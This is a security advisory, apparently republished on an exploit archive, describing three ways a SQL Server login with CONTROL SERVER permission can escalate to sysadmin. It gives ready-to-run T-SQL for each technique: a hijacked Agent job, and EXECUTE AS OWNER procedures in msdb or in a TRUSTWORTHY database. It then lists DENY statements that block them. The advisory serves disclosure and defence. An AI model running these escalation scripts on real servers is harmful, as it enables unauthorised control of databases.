Share
## https://sploitus.com/exploit?id=PACKETSTORM:189090
Title: Microsoft SQL Server Privilege Escalation from Control Server To Sysadmin role
    Product:                   Microsoft SQL Server
    Affected Version(s):       sql server 2016,2017,2019,2022
    Risk Level:                Medium
    Author of Advisory:        Emad Al-Mousa
    
    Overview:
    
    Privilege escalation is one of the most common exploit techniques hackers use to abuse and take over critical systems, database systems are very important to be protected against
    such attacks.
    
    
    *****************************************
    Exploit Summary Details:
    
    3 novel techniques exploits can be used to abuse control server permission in SQL Server to escalate/elevate to SYSADMIN role. control server permission is powerful permission yet not at
    the same level of SYSADMIN role.
    
    *****************************************
    Proof of Concept (PoC):
    
    Exploit Technique 1: Direct Modification into MSDB database tables
    
    
    As an account with CONTROL SERVER ROLE….you can add the login as database user at MSDB level but can’t grant any database role directly to it:
    
    USE [msdb]
    
    GO
    
    CREATE USER [rico] FOR LOGIN [rico]
    
    GO
    
    After database user account creation successfully completed, I will try to add it to db_owner role:
    
    USE [msdb]
    
    GO
    
    ALTER ROLE [db_owner] ADD MEMBER [rico]
    
    GO
    
    The following error will be thrown:
    
    Msg 15151, Level 16, State 1, Line 3
    
    Cannot alter the role ‘db_owner’, because it does not exist or you do not have permission.
    
    However I still can elevate to SYSADMIN Role through direct system tables modification in MSDB database:
    
    
    For the sake of a proof of concept I will create a dummy job in SQL Server Instance and call it “Test” using the below code:
    
    USE [msdb]
    
    GO
    
    BEGIN TRANSACTION
    
    DECLARE @ReturnCode INT
    
    SELECT @ReturnCode = 0
    
    IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]’ AND category_class=1)
    
    BEGIN
    
    EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N’JOB’, @type=N’LOCAL’, @name=N'[Uncategorized (Local)]’
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    END
    
    DECLARE @jobId BINARY(16)
    
    EXEC @ReturnCode =  msdb.dbo.sp_add_job @job_name=N’Test’, 
    
    @enabled=1, 
    
    @notify_level_eventlog=0, 
    
    @notify_level_email=0, 
    
    @notify_level_netsend=0, 
    
    @notify_level_page=0, 
    
    @delete_level=0, 
    
    @description=N’No description available.’, 
    
    @category_name=N'[Uncategorized (Local)]’, 
    
    @owner_login_name=N’sa’, @job_id = @jobId OUTPUT
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N’elevate_me’, 
    
    @step_id=1, 
    
    @cmdexec_success_code=0, 
    
    @on_success_action=1, 
    
    @on_success_step_id=0, 
    
    @on_fail_action=2, 
    
    @on_fail_step_id=0, 
    
    @retry_attempts=0, 
    
    @retry_interval=0, 
    
    @os_run_priority=0, @subsystem=N’TSQL’, 
    
    @command=N’XXXXXXXXXXXXXXXXXXXXXX’, 
    
    @database_name=N’master’, 
    
    @flags=0
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N’run’, 
    
    @enabled=1, 
    
    @freq_type=4, 
    
    @freq_interval=1, 
    
    @freq_subday_type=2, 
    
    @freq_subday_interval=10, 
    
    @freq_relative_interval=0, 
    
    @freq_recurrence_factor=0, 
    
    @active_start_date=20231015, 
    
    @active_end_date=99991231, 
    
    @active_start_time=0, 
    
    @active_end_time=235959, 
    
    @schedule_uid=N’6986b644-3356-4750-a140-00193274d23d’
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)’
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    COMMIT TRANSACTION
    
    GOTO EndSave
    
    QuitWithRollback:
    
        IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
    
    EndSave:
    
    GO
    
    // I will be able to query the list of Jobs
    
    select * from [msdb].[dbo].[sysjobs];
    
    //I will change the ownership of the job Test to be “sa” account using the below update statement
    
    update [msdb].[dbo].[sysjobs] set owner_sid=0x01 where name='Test';
    
    // I will retrieve information about job Test using job_id value
    
    SELECT * FROM [msdb].[dbo].[sysjobsteps] where job_id=’A4592896-4688-4DCC-B63E-813BE71A7EDD’;
    
    // I will update the code of the job step to elevate/escalate permission
    
    update [msdb].[dbo].[sysjobsteps] set command='ALTER SERVER ROLE [sysadmin] ADD MEMBER [rico] ' where job_id='29027CCB-EA4E-4ADA-B175-F2BF534FE30E';
    
    
    And that’s it….account “rico” will be escalated to SYSADMIN role in the next scheduled time for the job “Test”.
    
    
    
    
    Exploit Technique 2: Code Injection In MSDB database to exploit trustworthy property
    
    
    
    USE [msdb]
    
    GO
    
    CREATE USER [rico] FOR LOGIN [rico]
    
    GO
    
    USE [msdb]
    
    GO
    
    create or alter procedure dbo.elevate_me
    
    with execute as owner
    
    as alter server role sysadmin add member rico;
    
    GO
    
    USE [msdb]
    
    GO
    
    exec dbo.elevate_me;
    
    And that’s it[refresh your connection]…database login rico is now elevated from CONTROL SERVER to SYSADMIN role.
    
    
    
    Exploit Technique 3: DB Creation with Trustworthy Property
    
    
    As login rico I will create a database and set trustworthy of the database to “on” and add the login as database user to escalate to sysadmin role as it will be presented here:
    
    create database TEST55;
    
    ALTER DATABASE TEST55 SET TRUSTWORTHY ON;
    
    USE [TEST55]
    
    GO
    
    ALTER AUTHORIZATION ON DATABASE::[TEST55] TO [sa]
    
    GO
    
    USE [TEST55]
    
    GO
    
    CREATE USER [rico] FOR LOGIN [rico]
    
    GO
    
    USE [TEST55]
    
    GO
    
    create or alter procedure dbo.elevate_me
    
    with execute as owner
    
    as alter server role sysadmin add member rico;
    
    GO
    
    USE [TEST55]
    
    GO
    
    exec dbo.elevate_me;
    
    And that’s it…database login rico is now elevated from CONTROL SERVER to SYSADMIN role.
    
    
    ********************************************************************************************************************************
    
    Can these exploits be blocked if there is a need to have an account with control server permission and restrict it from being abused for privilege escalation ?
    
    Answer: Yes.
    
    
    Exploit techniques 2 and 3 can be blocked if the following permissions were “denied” from the login with CONTROL SERVER securable.
    
    use [master]
    
    GO
    
    DENY ALTER ANY DATABASE TO [rico]
    
    GO
    
    use [master]
    
    GO
    
    DENY CREATE ANY DATABASE TO [rico]
    
    GO
    
    use [master]
    
    GO
    
    DENY IMPERSONATE ANY LOGIN TO [rico]
    
    GO
    
    Exploit technique 1 can be blocked when denying it permissions at MSDB database user level:
    
    USE [msdb]
    
    GO
    
    CREATE USER [rico] FOR LOGIN [rico]
    
    GO
    
    use [msdb]
    
    GO
    
    DENY ALTER TO [rico]
    
    GO
    
    use [msdb]
    
    GO
    
    DENY DELETE TO [rico]
    
    GO
    
    use [msdb]
    
    GO
    
    DENY EXECUTE TO [rico]
    
    GO
    
    use [msdb]
    
    GO
    
    DENY INSERT TO [rico]
    
    GO
    
    use [msdb]
    
    GO
    
    DENY UPDATE TO [rico]
    
    GO
    
    
    
    
    Conclusions:
    
    - Control server is powerful securable but not at the same level of sysadmin role [ can’t execute certain procedures, can’t execute DBCC commands, and can’t view or have direct interface with agent jobs].
    
    - The presented exploits shows weaknesses that should be prevented in the first place. The idea of having/granting a securable to a sql server login and this login can easily escalate to “SYSADMIN” role is not acceptable from security design perspective and is a big security hole that requires serious review. Any database role should be confined with limited scope of power so attackers can’t abuse it.
    
    - Auditing is always the best approach to detect privilege escalation attacks.
    
    
    
    
    
    *****************************************
    References:
    https://databasesecurityninja.wordpress.com/2025/02/07/privilege-escalation-from-control-server-to-sysadmin-role/
    https://learn.microsoft.com/en-us/sql/ssms/agent/implement-sql-server-agent-security?view=sql-server-ver16
    https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver16